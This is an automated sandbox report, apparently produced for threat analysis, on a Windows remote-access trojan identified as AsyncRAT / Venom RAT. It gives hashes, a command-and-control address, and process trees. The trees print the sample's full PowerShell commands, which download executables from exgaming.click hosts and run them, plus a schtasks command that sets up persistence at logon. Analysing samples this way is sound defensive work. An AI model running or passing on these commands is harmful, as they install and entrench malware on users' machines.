Analysis
-
max time kernel
141s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
18-08-2024 18:55
Behavioral task
behavioral1
Sample
a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe
Resource
win7-20240705-en
General
-
Target
a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe
-
Size
75KB
-
MD5
2435ef2414fcf616da97999a95ec4bd8
-
SHA1
e2429b1a2b0aca9340a97d80d5ad7a311467f161
-
SHA256
a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e
-
SHA512
99a606205c9ee2a1b2095df27afb53a3a392eba43e525bd6abc1fedeffb3e64eca1608c478b1fbfd1d75f7a65a1ec201edac8c9be4845fbb7dec348613898c25
-
SSDEEP
1536:0ukULWEVCuPPMRkUKt2OlY6H1bf/i/f7kzkuLVclN:0XUyWHPMRkUv4jH1bfMf7k/BY
Malware Config
Extracted
http://xcu.exgaming.click
Extracted
http://xcu5.exgaming.click
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Default
94.156.66.48:4449
Antivirus
-
delay
1
-
install
true
-
install_file
Antivirus.exe
-
install_folder
%AppData%
Signatures
-
Processes:
resource yara_rule behavioral2/memory/1608-1-0x0000000000520000-0x0000000000538000-memory.dmp VenomRAT C:\Users\Admin\AppData\Roaming\Antivirus.exe VenomRAT -
Async RAT payload 1 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\Antivirus.exe family_asyncrat -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exeAntivirus.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation Antivirus.exe -
Executes dropped EXE 1 IoCs
Processes:
Antivirus.exepid process 4464 Antivirus.exe -
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3952 powershell.exe 4444 powershell.exe 1628 powershell.exe 2696 powershell.exe 1336 powershell.exe 2440 powershell.exe 4884 powershell.exe 2444 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1044 timeout.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 54 IoCs
Processes:
powershell.exea774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeAntivirus.exepid process 1336 powershell.exe 1336 powershell.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe 2440 powershell.exe 2440 powershell.exe 2440 powershell.exe 4444 powershell.exe 4444 powershell.exe 4444 powershell.exe 1628 powershell.exe 1628 powershell.exe 1628 powershell.exe 4884 powershell.exe 4884 powershell.exe 4884 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2696 powershell.exe 2696 powershell.exe 2696 powershell.exe 3952 powershell.exe 3952 powershell.exe 3952 powershell.exe 4464 Antivirus.exe 4464 Antivirus.exe 4464 Antivirus.exe 4464 Antivirus.exe 4464 Antivirus.exe 4464 Antivirus.exe 4464 Antivirus.exe 4464 Antivirus.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
Processes:
a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exepowershell.exepowershell.exepowershell.exepowershell.exeAntivirus.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe Token: SeDebugPrivilege 1336 powershell.exe Token: SeDebugPrivilege 2440 powershell.exe Token: SeDebugPrivilege 4444 powershell.exe Token: SeDebugPrivilege 1628 powershell.exe Token: SeDebugPrivilege 4464 Antivirus.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeDebugPrivilege 2444 powershell.exe Token: SeDebugPrivilege 2696 powershell.exe Token: SeDebugPrivilege 3952 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Antivirus.exepid process 4464 Antivirus.exe -
Suspicious use of WriteProcessMemory 30 IoCs
Processes:
a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.execmd.execmd.execmd.exeAntivirus.execmd.exedescription pid process target process PID 1608 wrote to memory of 1540 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe cmd.exe PID 1608 wrote to memory of 1540 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe cmd.exe PID 1540 wrote to memory of 1336 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 1336 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 2440 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 2440 1540 cmd.exe powershell.exe PID 1608 wrote to memory of 640 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe cmd.exe PID 1608 wrote to memory of 640 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe cmd.exe PID 1608 wrote to memory of 4496 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe cmd.exe PID 1608 wrote to memory of 4496 1608 a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe cmd.exe PID 4496 wrote to memory of 1044 4496 cmd.exe timeout.exe PID 4496 wrote to memory of 1044 4496 cmd.exe timeout.exe PID 640 wrote to memory of 3576 640 cmd.exe schtasks.exe PID 640 wrote to memory of 3576 640 cmd.exe schtasks.exe PID 1540 wrote to memory of 4444 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 4444 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 1628 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 1628 1540 cmd.exe powershell.exe PID 4496 wrote to memory of 4464 4496 cmd.exe Antivirus.exe PID 4496 wrote to memory of 4464 4496 cmd.exe Antivirus.exe PID 4464 wrote to memory of 4400 4464 Antivirus.exe cmd.exe PID 4464 wrote to memory of 4400 4464 Antivirus.exe cmd.exe PID 4400 wrote to memory of 4884 4400 cmd.exe powershell.exe PID 4400 wrote to memory of 4884 4400 cmd.exe powershell.exe PID 4400 wrote to memory of 2444 4400 cmd.exe powershell.exe PID 4400 wrote to memory of 2444 4400 cmd.exe powershell.exe PID 4400 wrote to memory of 2696 4400 cmd.exe powershell.exe PID 4400 wrote to memory of 2696 4400 cmd.exe powershell.exe PID 4400 wrote to memory of 3952 4400 cmd.exe powershell.exe PID 4400 wrote to memory of 3952 4400 cmd.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe"C:\Users\Admin\AppData\Local\Temp\a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1336
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2440
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4444
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1628
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Antivirus" /tr '"C:\Users\Admin\AppData\Roaming\Antivirus.exe"' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Antivirus" /tr '"C:\Users\Admin\AppData\Roaming\Antivirus.exe"'3⤵
- Scheduled Task/Job: Scheduled Task
PID:3576
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6CAF.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:1044
-
-
C:\Users\Admin\AppData\Roaming\Antivirus.exe"C:\Users\Admin\AppData\Roaming\Antivirus.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit4⤵
- Suspicious use of WriteProcessMemory
PID:4400 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2444
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2696
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3952
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4372,i,3861745594156495651,17595114179815238301,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:81⤵PID:3024
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD57cf51fd9a798b70dcc75418df6ab7709
SHA136565372f526bae197a5d1117032228ebd35b637
SHA256cabd168d058cc355f41ccc602554ae350212e9bd79ff19e2ee0da1b6268155a4
SHA512b78f414a2a45acde1a705e2731aba09f469fca36cfd171c11334f03f08ef60af3a33d2c907959017e4ec4777cea716b96d931ad36ecc809c81308cee7bb9a37e
-
Filesize
1KB
MD5aa8efa56e1e40374bbd21e0e469dceb7
SHA133a592799d4898c6efdd29e132f2f76ec51dbc08
SHA25625eb4f899ae8f90b66b9342781456700d1af487f6f302fe5a727328b026f6bdf
SHA512ad6de575b83db36b239317e4c46a1eaeb0383d5909a12b69ee2b38798c2b5cb0d19b464f5689037501d20592d92c4d3d84f0e49fdb1c0648b6593481a183f096
-
Filesize
1KB
MD500ee428eb5e9bd49f2083fef5377ab99
SHA16e28a1d3d63a766e1cbb44e041c1db6461871e7e
SHA2563702f0ddca7524097b51ad3efe7a50be52ce1ba8e136fe8325e7a16df6e37a4d
SHA5121b97d0eca985b4edf64b6b20079eacf6f9f6b51ecd13e6ad1d04cfe34a7ab3ddb22f2eeef51581fed7095159694878c272dbc39287d597dafa973c12188769ed
-
Filesize
1KB
MD5cf989d8b59ce7eb32775f651bfe5887c
SHA1790b46aba93b4571facca9d3b6dc4d07ad0a53b2
SHA2567b229a233c8625cd83ca18f6853abfb05f32a1b31455fcd2cb90005a4575490c
SHA512782b93a7173805ad42caa07ca2bfcd3c3ced136a04554765189e7bdde0518b29b29eb33446327f22f6d370030f10e08a54687557944ddeec0c223a2623e220f7
-
Filesize
1KB
MD5378acab19fb77608f7e263a01273c890
SHA1ba12b8abcde4107ed08ec4d462e9efb28c354d35
SHA2562fcb5901af0cff90572c91d8de7c24a0bd43803c53e89b5f724cb91f85a02c77
SHA5120a106ce65b9559be21425663922458509f02bd7d654a9e023fa6d1fa681f9be546b54f3b8aa3c6e00e1f1cc6b7b1712fd26eebd8358c4ef953ed812ac1dd5762
-
Filesize
1KB
MD5cde6866085a4fbf7d683b18d7c3714c3
SHA1ea9431fff4b162fce02790b3bcbc4c8e55ab717a
SHA256bf21bc0dfa6d33d77c3301c71e9904ade1c7b4a9707fd34cffa7937d7562dfe1
SHA512e3d5ed1c5b71ca63b1633f6daa0c1dfa419639f10aca427408b96f9afa3728a5028c5e2cebca5f9ea21ea929d0ea37378a5bedffa436a9491d99e80fb695687e
-
Filesize
1KB
MD5ecab7dac965a4a0f934b2aecf579cac4
SHA1d580101b2b4147472a6734e6c47885c0f85b0bdc
SHA256e29a3b2b86e399b8873c9414d39376ab14f69ff452371c0d27c2e7947a6fc03e
SHA51272688f0cab81c8812680c5ea3a60d5a1dcff1b701bc9c69ba8529a06049fdfafce0d6d32e77b39c4bbca824279e59e158d592035ad9ee8f17ae9c207fd357817
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
153B
MD5aff53d7b00eeb9db1bab4a763a8e8ea3
SHA1db72b1953e1f65d827b05ff7a846380c2d52a6a7
SHA25611d3a8490ffdadffaba35cd986f033d4b67657addc5230a7ea6379d182b89167
SHA5121b726f96452e09e956222fab726234400fe3c3bc243d521dc22a0b902455f62d907dba3090554d4df042de58098a9f2f491ff61316a4428b93fb7440ea9ec416
-
Filesize
75KB
MD52435ef2414fcf616da97999a95ec4bd8
SHA1e2429b1a2b0aca9340a97d80d5ad7a311467f161
SHA256a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e
SHA51299a606205c9ee2a1b2095df27afb53a3a392eba43e525bd6abc1fedeffb3e64eca1608c478b1fbfd1d75f7a65a1ec201edac8c9be4845fbb7dec348613898c25
-
Filesize
8B
MD5cf759e4c5f14fe3eec41b87ed756cea8
SHA1c27c796bb3c2fac929359563676f4ba1ffada1f5
SHA256c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
SHA512c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b